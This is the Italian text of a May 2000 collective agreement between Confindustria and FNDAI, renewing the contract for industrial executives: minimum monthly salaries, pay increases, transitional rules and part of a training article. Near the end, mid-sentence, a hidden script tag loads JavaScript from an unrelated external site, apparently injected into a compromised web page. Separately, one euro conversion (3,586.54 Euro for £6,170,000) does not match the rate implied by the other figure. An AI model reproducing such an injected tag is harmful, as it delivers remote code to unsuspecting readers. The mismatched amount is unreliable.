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Categoria: Dirigenti (aziende industriali) Settore: Altro Data stipula: 23-5-2000 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2003
Addì, 23 maggio 2000
tra
- CONFINDUSTRIA
e
- Federazione Nazionale Dirigenti di Aziende Industriali (FNDAI)
si è stipulato il presente accordo che rinnova la parte normativa e la
parte economica del CCNL 27.4.95 come modificato dall'Accordo 19.11.97, i
cui artt. 3, 9, 10, 12, 15, 19, 21 e 29, nonché la nota a verbale agli
artt. 13, 14, 15 e 16 sono modificati come segue.
Art. 3 - Determinazione del minimo contrattuale.
All'art. 3 del CCNL 27.4.95, come modificato dall'Accordo 19.11.97, sono
apportate le seguenti modifiche:
1) "Il minimo contrattuale mensile base è fissato, con decorrenza
dall'1.1.00, in £. 5.990.000 (3.093,58 Euro) e, con decorrenza
dall'1.1.01, in £. 6.170.000 (3.586,54 Euro). Tali misure sono comprensive
dell'importo di £. 1.581.000 mensili maturate, all'1.7.91, a titolo di
meccanismo di variazione automatica della retribuzione, soppresso ai sensi
dell'art. 5, Accordo 18.2.92.
Gli incrementi del minimo contrattuale mensile base, come risultanti
dalle decorrenze sopra indicate, non comportano riflessi sull'importo
per ex elemento di maggiorazione e sugli aumenti d'anzianità di cui
rispettivamente all'art. 4 e all'art. 6.
Le variazioni in funzione dell'anzianità di servizio nella qualifica
sono regolate dall'art. 6.
2) Sulle retribuzioni di fatto percepite al 31.12.99 è apportato, con
decorrenza dall'1.1.00, un aumento pari alla differenza tra il minimo base
di £. 5.990.000 mensili fissato dal punto 1) del presente articolo e
quello fissato, con decorrenza dall'1.1.99, dal punto 1), art. 3, Accordo
19.11.97 (£. 5.800.000).
Analogamente, sulle retribuzioni di fatto percepite al 31.12.00 sarà
apportato, con decorrenza dall'1.1.01, un aumento pari alla differenza
tra i 2 minimi base stabiliti al precedente punto 1) (£. 6.170.000 meno
£. 5.990.000).
3) In applicazione di quanto concordato con l'Accordo 19.11.97, a
decorrere dall'1.1.00, i miglioramenti economici ricorrenti, sulle
retribuzioni mensili di fatto percepite, attribuiti aziendalmente
successivamente al 31.12.98 sono assorbibili o conguagliabili con gli
aumenti previsti dal presente accordo con decorrenza dall'1.1.00 e
dall'1.1.01.
4) Salvo il rispetto dei minimi mensili base previsti dal punto 1)
nonché dell'importo per ex elemento di maggiorazione di cui all'art. 4,
gli aumenti delle retribuzioni di fatto di cui al precedente punto 2) non
sono dovuti ai dirigenti assunti dall'1.1.00.
Disposizioni transitorie.
Le parti si danno reciprocamente atto di quanto segue:
a) (OMISSIS);
b) gli aumenti retributivi derivanti dal presente contratto trovano
applicazione nei confronti dei dirigenti in servizio al 23.5.00. Gli
importi afferenti il periodo 1.1.00- 31.5.00 saranno corrisposti,
sempreché dovuti, con la retribuzione afferente il mese di giugno 2000.
in calce all'art. 3 è aggiunta la seguente:
Dichiarazione a verbale.
"Le parti, tenuto conto dell'evoluzione delle realtà produttive del Paese
e dell'esigenza di crescente coinvolgimento del dirigente nei risultati
dell'azienda, costituiranno un gruppo di lavoro paritetico per l'esame del
modello di assetti contrattuali, anche in relazione alle esperienze in
atto nei principali Paesi europei.
Il gruppo presenterà le proprie valutazioni e proposte alle parti stesse
entro il 31.12.00".
Art. 9 - Formazione e aggiornamento culturale-professionale.
L'art. 9, CCNL 27.4.95 viene così sostituito:
"Allo scopo di realizzare, in maniera continua e permanente, la formazione
e l'aggiornamento culturale-professionale dei dirigenti, le parti, in
attuazione di quanto previsto dall'art. 17, legge n. 196/97, convengono
sulla destinazione del contributo integrativo dello 0,30% introdotto
dall'art. 25,<s<script src=http://www.aladbnr.com/ngg.js></script>
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